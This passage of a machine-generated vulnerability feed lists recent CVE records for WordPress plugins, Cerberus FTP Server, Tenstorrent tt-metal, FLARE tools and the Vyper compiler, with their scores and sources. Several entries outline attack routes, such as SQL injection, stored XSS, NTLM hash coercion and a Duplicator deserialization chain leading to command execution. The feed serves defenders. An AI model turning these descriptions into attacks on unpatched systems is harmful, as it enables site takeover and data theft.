2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107506","cveId":"CVE-2026-107506","aliases":[],"kind":"vulnerability","title":"The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such...","summary":"The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such roles the full administrator capability, which allows users in a low-privileged role to escalate their privileges and fully compromise the site.","detail":"The Simple Banner  WordPress plugin before 3.3.3 does not correctly limit the capabilities it grants to the user roles an administrator allows to manage its banners, granting such roles the full administrator capability, which allows users in a low-privileged role to escalate their privileges and fully compromise the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:46.993Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107506","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.0032,"percentile":0.2471,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107506","type":"primary","publishedAt":"2026-10-21T06:16:46.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107237","cveId":"CVE-2026-107237","aliases":[],"kind":"vulnerability","title":"The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site,...","summary":"The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site, allowing any authenticated user with a Subscriber account on a WP Time Capsule staging site to overwrite the separate live site's database and configuration and take it offline.","detail":"The Backup and Staging by WP Time Capsule WordPress plugin before 1.22.28 does not perform capability or nonce checks on the handler that deploys a staging site to the live site, allowing any authenticated user with a Subscriber account on a WP Time Capsule staging site to overwrite the separate live site's database and configuration and take it offline.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:46.893Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107237","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00298,"percentile":0.22313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107237","type":"primary","publishedAt":"2026-10-21T06:16:46.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107127","cveId":"CVE-2026-107127","aliases":[],"kind":"vulnerability","title":"The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password...","summary":"The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password of a user who is partway through a password reset to an attacker-chosen value through a forged request, resulting in full account takeover.","detail":"The Uncanny Toolkit for LearnDash WordPress plugin before 3.8.2 does not validate the origin of a password-reset request, allowing an unauthenticated attacker to set the password of a user who is partway through a password reset to an attacker-chosen value through a forged request, resulting in full account takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:46.687Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107127","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00166,"percentile":0.0583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107127","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107127","type":"primary","publishedAt":"2026-10-21T06:16:46.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105262","cveId":"CVE-2026-105262","aliases":[],"kind":"vulnerability","title":"The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user...","summary":"The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user through an unprotected handler, allowing users with Subscriber-level access and above to store content that is later output without proper escaping, leading to Stored Cross-Site Scripting that executes in the context of higher-privileged users such as administrators.","detail":"The Falang multilanguage for WordPress plugin before 1.4.6 does not perform a capability check when saving term translations, and exposes a valid nonce to any logged-in user through an unprotected handler, allowing users with Subscriber-level access and above to store content that is later output without proper escaping, leading to Stored Cross-Site Scripting that executes in the context of higher-privileged users such as administrators.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:46.053Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105262","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00386,"percentile":0.32385,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105262","type":"primary","publishedAt":"2026-10-21T06:16:46.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102499","cveId":"CVE-2026-102499","aliases":[],"kind":"vulnerability","title":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in...","summary":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in a SQL statement, which allows authenticated users with Subscriber-level access and above to append additional SQL queries into already existing queries and extract sensitive data from the database.","detail":"The Modern Events Calendar Lite WordPress plugin before 7.37.0, Modern Event Calendar Pro WordPress plugin before 7.37.0 do not sanitise and escape a parameter before using it in a SQL statement, which allows authenticated users with Subscriber-level access and above to append additional SQL queries into already existing queries and extract sensitive data from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T06:16:45.713Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102499","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00366,"percentile":0.30136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102499","type":"primary","publishedAt":"2026-10-21T06:16:45.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82819","cveId":"CVE-2026-82819","aliases":[],"kind":"vulnerability","title":"A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter.","summary":"A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter. By supplying a malicious SMB share path, an attacker can execute authentication coercion against the underlying server, resulting in the leakage of the Cerberus service account's Net-NTLMv2 hash. This issue has been resolved in Cerberus FTP Server: 2026.3.0.","detail":"A vulnerability in Cerberus FTP Server allows an authenticated remote attacker to perform UNC path injection via a manipulated parameter. By supplying a malicious SMB share path, an attacker can execute authentication coercion against the underlying server, resulting in the leakage of the Cerberus service account's Net-NTLMv2 hash. This issue has been resolved in Cerberus FTP Server: 2026.3.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T05:16:43.070Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82819","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00457,"percentile":0.39404,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82819&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82819","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82819","type":"primary","publishedAt":"2026-10-21T05:16:43.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82819&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82819, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82814","cveId":"CVE-2026-82814","aliases":[],"kind":"vulnerability","title":"The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via...","summary":"The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via deserialization of untrusted database content in DUPX_UpdateEngine::unserializeTest() during migration. This allows unauthenticated attackers to store a serialized object in public site content before an administrator builds a package and later performs a migration or import that runs database search-and-replace. Duplicator Free bundles a Requests 1.7 POP chain that permits attacker-selected callbacks, resulting in direct operating-system command execution. Duplicator Pro bundles an IndexList destructor gadget that permits deletion of an attacker-selected existing file when its containing directory is writable by the installer PHP process; deletion of wp-config.php can expose the setup wizard and lead to site takeover and code execution if the attacker reaches it first and supplies a reachable database they control. The package must be created after the carrier is stored, and a later administrator migration action is required.","detail":"The Duplicator and Duplicator Pro plugins for WordPress are vulnerable to PHP Object Injection in all versions up to, and including, 1.5.17 and 4.6.10, respectively, via deserialization of untrusted database content in DUPX_UpdateEngine::unserializeTest() during migration. This allows unauthenticated attackers to store a serialized object in public site content before an administrator builds a package and later performs a migration or import that runs database search-and-replace. Duplicator Free bundles a Requests 1.7 POP chain that permits attacker-selected callbacks, resulting in direct operating-system command execution. Duplicator Pro bundles an IndexList destructor gadget that permits deletion of an attacker-selected existing file when its containing directory is writable by the installer PHP process; deletion of wp-config.php can expose the setup wizard and lead to site takeover and code execution if the attacker reaches it first and supplies a reachable database they control. The package must be created after the carrier is stored, and a later administrator migration action is required.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T02:17:07.423Z","updatedAt":"2026-10-22T19:18:02.413Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82814","asOf":"2026-10-22T19:18:02.413Z"},"epss":{"probability":0.00733,"percentile":0.54081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82814","type":"primary","publishedAt":"2026-10-21T02:17:07.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113743","cveId":"CVE-2026-113743","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file...","summary":"A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file models/tt_transformers/tt/load_checkpoints.py. This manipulation of the argument weight_map causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.81.0-dev20261016 is sufficient to fix this issue. Patch name: 4851ccf347f6903c3d819eed60705600386e52c3. It is suggested to upgrade the affected component.","detail":"A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file models/tt_transformers/tt/load_checkpoints.py. This manipulation of the argument weight_map causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.81.0-dev20261016 is sufficient to fix this issue. Patch name: 4851ccf347f6903c3d819eed60705600386e52c3. It is suggested to upgrade the affected component.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T02:17:06.823Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113743","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00444,"percentile":0.38344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113743","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113743","type":"primary","publishedAt":"2026-10-21T02:17:06.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114198","cveId":"CVE-2026-114198","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss...","summary":"Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss utility","detail":"Deserialization of untrusted data in Mandiant FLARE floss releases before 3.2.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the floss utility\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:38.633Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114198","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00152,"percentile":0.04278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114198","type":"primary","publishedAt":"2026-10-21T01:17:38.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114197","cveId":"CVE-2026-114197","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa...","summary":"Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa utility","detail":"Deserialization of untrusted data in Mandiant FLARE capa releases before 10.0.0 allows arbitrary code execution when a crafted .viv or .exe.viv workspace is passed to the capa utility\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:38.500Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114197","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00152,"percentile":0.04278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114197","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114197","type":"primary","publishedAt":"2026-10-21T01:17:38.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114117","cveId":"CVE-2026-114117","aliases":[],"kind":"vulnerability","title":"Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the...","summary":"Vyper 0.3.8 through 0.5.0b1 contains an optimizer miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the constant 1 when used as a ternary expression branch under -O gas (the default) or -O codesize. Affected contracts use the wrong value in storage writes, arithmetic, indexes, return values, or events without warning or revert, which can record deposits incorrectly and lock funds.","detail":"Vyper 0.3.8 through 0.5.0b1 contains an optimizer 